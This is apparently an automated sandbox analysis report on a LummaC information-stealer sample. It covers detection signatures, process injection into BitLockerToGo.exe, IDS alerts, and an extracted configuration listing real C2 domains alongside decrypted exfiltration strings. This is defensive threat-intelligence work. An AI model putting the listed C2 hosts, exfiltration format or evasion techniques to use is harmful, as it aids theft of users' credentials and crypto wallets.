Edit tour

Windows Analysis Report
6wFwugeLNG.exe

Overview

General Information

Sample name:	6wFwugeLNG.exe renamed because original name is a hash value
Original sample name:	16b7635bd33367d455f26adc148dbfc3.exe
Analysis ID:	1581196
MD5:	16b7635bd33367d455f26adc148dbfc3
SHA1:	0ae5aa47351d1732e9a851761ac91796364e5f53
SHA256:	5f6e9e2cb25c557c1bc5ec4d56a4d3859a06d2d70dbccff887aa7cf115a91f98
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara detected Credential Stealer

Yara signature match

query blbeacon for getting browser version

Classification

Process Tree

System is w10x64

6wFwugeLNG.exe (PID: 2792 cmdline: "C:\Users\user\Desktop\6wFwugeLNG.exe" MD5: 16B7635BD33367D455F26ADC148DBFC3)

reg.exe (PID: 4992 cmdline: reg query HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon /v version MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 6472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

BitLockerToGo.exe (PID: 612 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wrathful-jammy.cyou", "immureprech.biz", "awake-weaves.cyou", "sordid-snaked.cyou", "diffuculttan.xyz", "deafeninggeh.biz", "debonairnukk.xyz", "cycahao.shop", "effecterectz.xyz"], "Build id": "hRjzG3--VIKA"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.2391539251.0000000009F30000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
Process Memory Space: BitLockerToGo.exe PID: 612	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 612	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 612	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:32.744504+0100	2028371	3	Unknown Traffic	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:34.720753+0100	2028371	3	Unknown Traffic	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:37.107387+0100	2028371	3	Unknown Traffic	192.168.2.6	49767	172.67.135.139	443	TCP
2024-12-27T08:20:39.415938+0100	2028371	3	Unknown Traffic	192.168.2.6	49773	172.67.135.139	443	TCP
2024-12-27T08:20:41.713969+0100	2028371	3	Unknown Traffic	192.168.2.6	49779	172.67.135.139	443	TCP
2024-12-27T08:20:44.156009+0100	2028371	3	Unknown Traffic	192.168.2.6	49785	172.67.135.139	443	TCP
2024-12-27T08:20:46.581923+0100	2028371	3	Unknown Traffic	192.168.2.6	49791	172.67.135.139	443	TCP
2024-12-27T08:20:50.072641+0100	2028371	3	Unknown Traffic	192.168.2.6	49801	172.67.135.139	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:33.446130+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:35.533896+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:50.846469+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49801	172.67.135.139	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:33.446130+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49754	172.67.135.139	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:35.533896+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49761	172.67.135.139	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:32.744504+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49754	172.67.135.139	443	TCP
2024-12-27T08:20:34.720753+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49761	172.67.135.139	443	TCP
2024-12-27T08:20:37.107387+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49767	172.67.135.139	443	TCP
2024-12-27T08:20:39.415938+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49773	172.67.135.139	443	TCP
2024-12-27T08:20:41.713969+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49779	172.67.135.139	443	TCP
2024-12-27T08:20:44.156009+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49785	172.67.135.139	443	TCP
2024-12-27T08:20:46.581923+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49791	172.67.135.139	443	TCP
2024-12-27T08:20:50.072641+0100	2058278	1	Domain Observed Used for C2 Detected	192.168.2.6	49801	172.67.135.139	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cycahao .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:31.189614+0100	2058277	1	Domain Observed Used for C2 Detected	192.168.2.6	56750	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T08:20:44.906387+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49785	172.67.135.139	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://kliptizq.shop/	Avira URL Cloud: Label: malware
Source: https://cycahao.shop/api	Avira URL Cloud: Label: malware
Source: https://cycahao.shop/apivVa	Avira URL Cloud: Label: malware
Source: https://cycahao.shop/apibMMCEY	Avira URL Cloud: Label: malware
Source: https://cycahao.shop/	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txt9:	Avira URL Cloud: Label: malware
Source: https://cycahao.shop/6	Avira URL Cloud: Label: malware
Source: cycahao.shop	Avira URL Cloud: Label: malware
Source: https://kliptizq.shop/int_clp_ldr_sha.txtz1	Avira URL Cloud: Label: malware
Source: https://cycahao.shop/apiVr	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.6wFwugeLNG.exe.9ee6000.1.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["wrathful-jammy.cyou", "immureprech.biz", "awake-weaves.cyou", "sordid-snaked.cyou", "diffuculttan.xyz", "deafeninggeh.biz", "debonairnukk.xyz", "cycahao.shop", "effecterectz.xyz"], "Build id": "hRjzG3--VIKA"}

Multi AV Scanner detection for submitted file

Source: 6wFwugeLNG.exe	ReversingLabs: Detection: 68%
Source: 6wFwugeLNG.exe	Virustotal: Detection: 43%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cycahao.shop
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2391539251.0000000009E4A000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hRjzG3--VIKA

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_00465890 CryptUnprotectData,

5_2_00465890

Source: 6wFwugeLNG.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DEBUG_STRIPPED

Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.135.139:443 -> 192.168.2.6:49801 version: TLS 1.2

Source: 6wFwugeLNG.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: 6wFwugeLNG.exe, 00000000.00000002.2391891785.000000000A100000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: 6wFwugeLNG.exe, 00000000.00000002.2391891785.000000000A100000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CAA82E26h	5_2_0048D3C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+10h]	5_2_0048E3C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edx+7F059821h]	5_2_0045C4C6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+10h]	5_2_00487500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax+ebp*8], B430E561h	5_2_00487500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], E88DDEA1h	5_2_0048D640
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	5_2_0047C67D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, ecx	5_2_0045E6F2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx]	5_2_004897E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+ebx*8], 67F3D776h	5_2_004897E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	5_2_00469804
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, word ptr [ecx]	5_2_00469804
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_0047281D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	5_2_0048C820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	5_2_0047A0D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	5_2_004650DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [ebp-10h], D9DADBDCh	5_2_004650DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push esi	5_2_004760F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi+01h], 00000020h	5_2_004760F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], cl	5_2_0047B0F9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+05F9B979h]	5_2_0046A0A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, edx	5_2_004790BA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+0Dh]	5_2_0045A950
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-54h]	5_2_00473960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [eax]	5_2_00467175
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_00467175
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	5_2_00455970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	5_2_00455970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	5_2_0046F100
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], cl	5_2_0047B12E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	5_2_0048C930
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [ebp+00h]	5_2_004529C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], ax	5_2_00478716
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+esi+02h]	5_2_004781FB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], F62C6D34h	5_2_00489A60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-1CF3D299h]	5_2_0048C271
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_00477AAF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	5_2_00479B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	5_2_0048CB20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	5_2_0048CBC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [ebx], 00000022h	5_2_00479BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	5_2_00489B90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-54h]	5_2_00473C00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebx	5_2_0048BCCB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	5_2_004574D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	5_2_004574D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	5_2_0047B4EE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+77CDE11Eh]	5_2_00459490
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	5_2_0047B4A5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	5_2_004834B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx]	5_2_0048DD00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0F117C20h]	5_2_0047151B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-54h]	5_2_00473DA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	5_2_00486600
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea edx, dword ptr [ecx-80000000h]	5_2_0047760D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	5_2_00466628
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+7Ah]	5_2_00473E32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-35h]	5_2_00473E32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [esp+30h]	5_2_00473E32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6A2D3EA3h	5_2_00489EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A8F779E4h	5_2_00489EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebp+edi*8+00h], A99F3325h	5_2_00489EF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+02h]	5_2_00471E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	5_2_00464752
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+10h]	5_2_0048BF6A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-4153C611h]	5_2_0046E770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], ax	5_2_00478716
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 88822328h	5_2_0048D7C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], cx	5_2_00477FD1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [ebp-1Ch]	5_2_004767EF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, edi	5_2_004767EF
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edi], cl	5_2_0046C78C

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49761 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49754 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058277 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cycahao .shop) : 192.168.2.6:56750 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49785 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49773 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49767 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49779 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49791 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2058278 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cycahao .shop in TLS SNI) : 192.168.2.6:49801 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49785 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49754 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49754 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49801 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49761 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49761 -> 172.67.135.139:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wrathful-jammy.cyou
Source: Malware configuration extractor	URLs: immureprech.biz
Source: Malware configuration extractor	URLs: awake-weaves.cyou
Source: Malware configuration extractor	URLs: sordid-snaked.cyou
Source: Malware configuration extractor	URLs: diffuculttan.xyz
Source: Malware configuration extractor	URLs: deafeninggeh.biz
Source: Malware configuration extractor	URLs: debonairnukk.xyz
Source: Malware configuration extractor	URLs: cycahao.shop
Source: Malware configuration extractor	URLs: effecterectz.xyz

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49761 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49754 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49785 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49773 -> 172.67.135.139:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49767 -> 172.67.135.139:443
